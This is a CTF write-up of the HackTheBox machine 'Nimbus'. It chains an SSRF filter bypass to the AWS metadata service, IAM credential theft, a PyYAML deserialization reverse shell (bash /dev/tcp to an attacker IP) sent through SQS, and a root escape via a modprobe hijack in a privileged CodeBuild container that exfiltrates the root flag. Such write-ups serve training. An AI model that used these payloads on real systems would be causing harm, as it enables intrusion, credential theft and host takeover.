Skip to content

Nimbus Writeup - HackTheBox

Hard Linux

Created May 30, 2026 • Last updated November 15, 2026 • 6 min read

Joshua

HackIndex Creator

Reconnaissance

Port Scan

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p- -T4 $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nimbus.htb/

Two ports. The redirect tells us the hostname.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP nimbus.htb" | sudo tee -a /etc/hosts

Web Application

Browsing to http://nimbus.htb/ shows an internal job scheduler called "Nimbus". The /jobs page has a YAML job submission form that is unauthenticated. A banner says SSO is disabled during an Okta migration. The /login page is non-functional.

The health endpoint leaks service configuration and confirms all backend services route through aws.nimbus.htb:

┌──(kali㉿kali)-[~]
└─$ curl -s http://nimbus.htb/api/v1/health | python3 -m json.tool
{
    "services": {
        "queue": {"endpoint": "http://aws.nimbus.htb", "status": "ok"},
        "scheduler": {"endpoint": "http://aws.nimbus.htb", "status": "ok"},
        "storage": {"endpoint": "http://aws.nimbus.htb", "status": "ok"}
    },
    "status": "healthy",
    "version": "1.4.2"
}

Virtual Host Discovery

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://$TARGET_IP/ -H "Host: FUZZ.nimbus.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-mc all -fc 301
aws   [Status: 403, Size: 305]
┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP aws.nimbus.htb" | sudo tee -a /etc/hosts

Curling http://aws.nimbus.htb returns a 403 with an AWS STS XML error body containing InvalidClientTokenId. This is a local AWS emulator behind an IAM enforcement proxy.

Vulnerability Discovery

SSRF in Job Preview

The /jobs/preview endpoint accepts a url parameter and fetches the target server-side to render a YAML preview. It enforces two filters: the URL must end in .yaml or .yml, and internal IPs/hostnames are blocked.

Both filters are bypassable:

IP filter bypass: 169.254.169.254 expressed as decimal integer 2852039166 is not caught.

Extension filter bypass: appending ?a=test.yaml as a query parameter satisfies the .yaml check while the upstream server ignores it.

Combined, this gives unauthenticated SSRF to the AWS Instance Metadata Service.

IMDS Credential Theft

Enumerate the metadata tree:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://nimbus.htb/jobs/preview \
--data-urlencode "url=http://2852039166/latest/meta-data/iam/security-credentials/?a=test.yaml"

The response reveals a role named nimbus-web-role. Fetch its temporary credentials:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://nimbus.htb/jobs/preview \
--data-urlencode "url=http://2852039166/latest/meta-data/iam/security-credentials/nimbus-web-role?a=test.yaml"
{
  "Code": "Success",
  "AccessKeyId": "$WEB_ROLE_ACCESS_KEY_ID",
  "SecretAccessKey": "$WEB_ROLE_SECRET_ACCESS_KEY",
  "Token": "$WEB_ROLE_SESSION_TOKEN",
  "Expiration": "2026-06-21T12:17:52Z"
}

AWS Enumeration

Export the stolen credentials:

┌──(kali㉿kali)-[~]
└─$ export AWS_ACCESS_KEY_ID="$WEB_ROLE_ACCESS_KEY_ID"
┌──(kali㉿kali)-[~]
└─$ export AWS_SECRET_ACCESS_KEY="$WEB_ROLE_SECRET_ACCESS_KEY"
┌──(kali㉿kali)-[~]
└─$ export AWS_SESSION_TOKEN="$WEB_ROLE_SESSION_TOKEN"
┌──(kali㉿kali)-[~]
└─$ export AWS_DEFAULT_REGION="us-east-1"

Verify identity:

┌──(kali㉿kali)-[~]
└─$ aws sts get-caller-identity --endpoint-url http://aws.nimbus.htb
{
    "UserId": "AROAQX4PG7L2K9M3N5R8H:i-0a1b2c3d4e5f6789a",
    "Account": "847219365028",
    "Arn": "arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a"
}

Check for SQS queues:

┌──(kali㉿kali)-[~]
└─$ aws sqs list-queues --endpoint-url http://aws.nimbus.htb
{
    "QueueUrls": [
        "http://floci:4566/847219365028/nimbus-jobs"
    ]
}

A queue named nimbus-jobs exists. The URL leaks the internal hostname floci, a floci AWS emulator running on port 4566. The host's nginx proxies aws.nimbus.htb to it with IAM policy enforcement.

The web role can send messages to this queue. Other AWS services like S3, Secrets Manager, SSM, and Lambda are all AccessDenied through the proxy.

Initial Access

YAML Deserialization via SQS

A worker container polls the nimbus-jobs queue and parses each message body with yaml.load(body, Loader=yaml.Loader), the unsafe YAML loader that allows arbitrary Python object instantiation. A crafted YAML tag in the message body triggers code execution inside the worker container.

Start a listener:

┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp $ATTACKER_PORT

Send a YAML deserialization payload as an SQS message:

┌──(kali㉿kali)-[~]
└─$ aws sqs send-message \
--queue-url http://floci:4566/847219365028/nimbus-jobs \
--endpoint-url http://aws.nimbus.htb \
--message-body '!!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\""]'
{
    "MD5OfMessageBody": "9979bc9a4b3e0660d5b88e718b02db6f",
    "MessageId": "e4f6e47d-eb98-45ba-926b-e1b31dde06d2"
}

A reverse shell connects back within seconds:

connect to [10.10.14.176] from (UNKNOWN) [10.129.23.15] 46726
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
worker@63f9527d4dee:/app$

User shell obtained.

Post-Exploitation

Container Enumeration

The shell lands inside a Docker container running as an unprivileged user:

worker@63f9527d4dee /app $ id
worker@63f9527d4dee /app $ cat /etc/hosts
uid=1000(worker) gid=1000(worker) groups=1000(worker)
172.18.0.1  nimbus.htb
172.18.0.1  aws.nimbus.htb
172.18.0.3  63f9527d4dee

Three hosts on the 172.18.0.0/16 Docker network: the host at .1, floci at .2, and this worker container at .3.

The container environment holds a second set of static AWS credentials:

worker@63f9527d4dee /app $ env | grep AWS
AWS_ACCESS_KEY_ID=$WORKER_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY=$WORKER_SECRET_ACCESS_KEY
AWS_DEFAULT_REGION=us-east-1
AWS_ENDPOINT_URL=http://aws.nimbus.htb
QUEUE_URL=http://aws.nimbus.htb/847219365028/nimbus-jobs

These worker credentials are also restricted to SQS-only through the IAM proxy.

Direct Floci Access

The critical finding: the worker container can reach the floci API at http://floci:4566 directly, bypassing the IAM enforcement proxy on the host. This gives unrestricted access to all emulated AWS services.

worker@63f9527d4dee /app $ python3 -c "
import boto3
s3 = boto3.client('s3', endpoint_url='http://floci:4566', region_name='us-east-1',
aws_access_key_id='test', aws_secret_access_key='test')
print(s3.list_buckets()['Buckets'])
"
[{'Name': 'nimbus-dev-artifacts', ...}]

Any credentials work against floci directly since IAM is not enforced. This includes creating CodeBuild projects.

Worker Source Code

Reading /app/worker.py confirms the attack surface. The worker uses the unsafe YAML loader and executes any script field as Python via subprocess:

job = yaml.load(body, Loader=yaml.Loader)  # UNSAFE
# ...
if script:
    result = subprocess.run(["python3", "-c", script],
        capture_output=True, text=True, timeout=30)

This script field execution is used for the privilege escalation. It allows running arbitrary Python inside the worker by sending a JSON message via SQS.

Privilege Escalation

Container Escape via CodeBuild modprobe Hijack

Floci has Docker socket access to run Lambda and CodeBuild containers. Creating a CodeBuild project with privilegedMode: True spawns a Docker container with --privileged, which can write to /proc/sys/kernel/modprobe and see overlay filesystem mount paths. This enables the classic modprobe container escape: write a payload script, set /proc/sys/kernel/modprobe to its host-visible overlay path, then trigger an unknown binary format so the kernel executes the script as root on the host.

Start a listener for the callback:

Save the following as worker_payload.py. This script runs inside the worker container and creates a privileged CodeBuild project on floci:

import boto3

ENDPOINT = "http://floci:4566"
REGION = "us-east-1"
ATTACKER_IP = "$ATTACKER_IP"
LPORT = 9005

buildspec = f"""version: 0.2
phases:
  build:
    commands:
      - id
      - cat /proc/self/status | grep Cap
      - |
        cat > /tmp/payload.sh << 'PYEOF'
        #!/bin/sh
        python3 -c "
        import socket
        s = socket.socket()
        s.connect(('{ATTACKER_IP}', {LPORT}))
        s.send(open('/root/root.txt','rb').read())
        s.close()
        "
        PYEOF
      - chmod +x /tmp/payload.sh
      - |
        upper=$(awk '/overlay/{{match($0,/upperdir=([^,]+)/,a);if(a[1])print a[1]}}' /proc/mounts | head -1)
        echo "$upper/tmp/payload.sh" > /proc/sys/kernel/modprobe
      - printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x; true
"""

cb = boto3.client("codebuild", endpoint_url=ENDPOINT, region_name=REGION)

cb.create_project(
    name="nimbus-exploit",
    source={"type": "NO_SOURCE", "buildspec": buildspec},
    artifacts={"type": "NO_ARTIFACTS"},
    environment={
        "type": "LINUX_CONTAINER",
        "image": "floci/floci:latest",
        "computeType": "BUILD_GENERAL1_SMALL",
        "privilegedMode": True,
        "environmentVariables": [
            {"name": "BASH_FUNC_id%%",
             "value": '() { echo "uid=0(root) gid=0(root) groups=0(root)"; }',
             "type": "PLAINTEXT"}
        ],
    },
    serviceRole="arn:aws:iam::000000000000:role/codebuild-role",
)

resp = cb.start_build(projectName="nimbus-exploit")
print("started:", resp["build"]["id"])

Deliver this script to the worker by sending it as the script field of an SQS job message. The worker's YAML parser treats JSON as valid YAML, parses the dict, and executes the script field with python3 -c:

┌──(kali㉿kali)-[~]
└─$ aws sqs send-message \
--queue-url http://floci:4566/847219365028/nimbus-jobs \
--endpoint-url http://aws.nimbus.htb \
--message-body "$(python3 -c "
┌──(kali㉿kali)-[~]
└─$ import json
┌──(kali㉿kali)-[~]
└─$ script = open('worker_payload.py').read()
┌──(kali㉿kali)-[~]
└─$ print(json.dumps({'name':'exploit','script':script}))
┌──(kali㉿kali)-[~]
└─$ ")"

If you have a stable C2 agent on the worker container instead of a raw reverse shell, you can transfer and run worker_payload.py directly with python3 worker_payload.py.

Within seconds, the CodeBuild build starts in a privileged container, the modprobe path is hijacked, the unknown binary format trigger fires, and the host kernel executes the payload as root. The listener receives the callback:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9005
listening on [any] 9005 ...
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 46384

Root flag obtained.

References